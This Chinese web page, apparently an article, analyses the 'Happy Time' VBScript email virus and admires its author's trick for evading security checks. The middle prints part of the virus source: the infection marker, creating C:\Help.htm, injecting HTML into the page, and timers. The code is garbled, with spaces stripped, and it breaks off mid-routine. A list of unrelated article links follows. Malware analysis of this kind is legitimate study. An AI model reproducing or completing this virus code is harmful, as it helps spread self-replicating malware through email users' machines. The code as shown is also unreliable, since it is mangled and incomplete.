翻新时间：2022-11-14
欢乐时光代码分析
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。
下面让我们来看看它藏在快乐的外衣下的是什么吧！
***************欢乐时光***************
RemIamsorry!happytime
OnErrorResumeNext
Mload
’以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。
Submload()
OnErrorResumeNext
mPath=Grf()
SetOs=CreateObject("Scriptlet.TypeLib")
SetOh=CreateObject("Shell.Application")
’建立枚举对象，避开了安全审核
IfIsHTMLThen
’调用IsHtml函数，如果是Html，就小写……
mURL=LCase(document.Location)
IfmPath=""Then
Os.Reset
Os.Path="C:Help.htm"
Os.Doc=Lhtml()
Os.Write()
’如果mPath为空，就在C盘下生成Help.htm
Ihtml=""
’超文本的内容，并指向C:Help.Htm
Calldocument.Body.insertAdjacentHTML("AfterBegin",Ihtml)
Else
IfIv(mPath,"Help.vbs")Then
setInterval"Rt()",10000
Else
m="hta"
IfLCase(m)=Right(mURL,Len(m))Then
id=setTimeout("mclose()",
1)
’设置超时条件
main
Else
Os.Reset()
Os.Path=mPath
下载文档
网友最新关注
- 沂蒙山区的同学们：
- 皮皮鲁，我羡慕的人——给皮皮鲁的一封信
- 给上帝的一封信
- 给妈妈的一封信
- 小伙伴，我想对你说
- 爸爸，我想对您说
- 给小霞的一封信
- 爸爸妈妈，您辛苦了
- 爸爸，我想对您说
- 小伙伴,我想对你说….
- 给朋友的一封信
- 给刘老师的信
- 给微生物大王的一封信
- 给爸爸的一封信
- 给太爷爷的一封信
- 关于1998年以来高校马克思主义理论课研究综述
- 浅谈高校马克思主义理论教育问题
- 关于加强马克思主义理论发展史教育
- 试论思想政治教育硕士研究生教育的繁荣
- 试析马克思主义理论教学对学生语言表达能力的培养
- 马克思主义理论大课堂教学的优化途径——论小组课外学习
- 关于高校马克思主义理论人文精神问题研究
- 试论马克思主义理论的整体性思考
- 浅析马克思主义理论教育新观点、新途径的探索
- 关于高校马克思主义理论教育面临的困境与对策分析
- 简析传播视角增强马克思主义理论教育有效性的思考
- 关于大学生日常思想政治教育与马克思主义理论教育的关系
- 关于中职学校德育课教学内容初探
- 探析以实际问题为中心开展马克思主义理论教学
- 关于改革开放以来山西高校马克思主义理论课课程设置沿革
- 《司马光》教学设计之三
- 《乌鸦喝水》教学设计之十四
- 《乌鸦喝水》教学设计之六
- 《称象》 四步程序式教学设计
- 《称象》讲读教案设计及评析
- 《乌鸦喝水》教学设计之九
- 《乌鸦喝水》教学设计之十一
- 《乌鸦喝水》教学设计之八
- 《司马光》教学设计之二
- 《司马光》教学设计之十
- 《司马光》教学设计之一
- 《乌鸦喝水》教学设计之十
- 多元智能教学设计《称象》
- 《司马光》教学设计之四
- 《乌鸦喝水》教学设计之七